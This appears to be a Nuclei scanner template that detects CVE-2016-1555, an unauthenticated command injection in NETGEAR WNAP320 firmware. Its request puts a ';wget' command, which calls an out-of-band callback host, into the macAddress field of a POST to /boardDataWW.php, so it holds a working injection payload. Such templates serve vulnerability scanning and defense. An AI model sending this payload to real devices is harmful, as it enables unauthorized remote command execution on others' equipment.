NETGEAR WNAP320 Access Point Firmware - Remote Command Injection

id: CVE-2016-1555

info:
  name: NETGEAR WNAP320 Access Point Firmware - Remote Command Injection
  author: gy741
  severity: critical
  description: NETGEAR WNAP320 Access Point Firmware version 2.0.3 could allow an unauthenticated, remote attacker to perform command injection attacks against an affected device.
  impact: |
    Successful exploitation of this vulnerability allows remote attackers to execute arbitrary commands on the affected device.
  remediation: |
    Apply the latest firmware update provided by NETGEAR to mitigate this vulnerability.
  reference:
    - https://github.com/nobodyatall648/Netgear-WNAP320-Firmware-Version-2.0.3-RCE
    - https://nvd.nist.gov/vuln/detail/CVE-2016-1555
    - https://kb.netgear.com/30480/CVE-2016-1555-Notification?cid=wmt_netgear_organic
    - http://seclists.org/fulldisclosure/2016/Feb/112
    - http://packetstormsecurity.com/files/135956/D-Link-Netgear-FIRMADYNE-Command-Injection-Buffer-Overflow.html
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2016-1555
    cwe-id: CWE-77
    epss-score: 0.98288
    epss-percentile: 0.99916
    cpe: cpe:2.3:o:netgear:wnap320_firmware:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: netgear
    product: wnap320_firmware
  tags: cve2016,cve,seclists,packetstorm,netgear,rce,oast,router,kev,vkev,vuln

http:
  - raw:
      - |
        POST /boardDataWW.php HTTP/1.1
        Host: {{Hostname}}
        Accept: */*
        Content-Type: application/x-www-form-urlencoded

        macAddress=112233445566%3Bwget+http%3A%2F%2F{{interactsh-url}}%23&reginfo=0&writeData=Submit

    matchers:
      - type: word
        part: interactsh_protocol # Confirms the HTTP Interaction
        words:
          - "http"
# digest: 4b0a00483046022100a1f45f2944b77807915481b0ee9071e6e8ea1b28ec7a43ddc9ccf2ae9825f7fb022100d0ead52d8fdb03cb84e545d0e9557bafca8b25a1729f142c36973ab9e4a05911:922c64590222798bb761d5b6d8e72950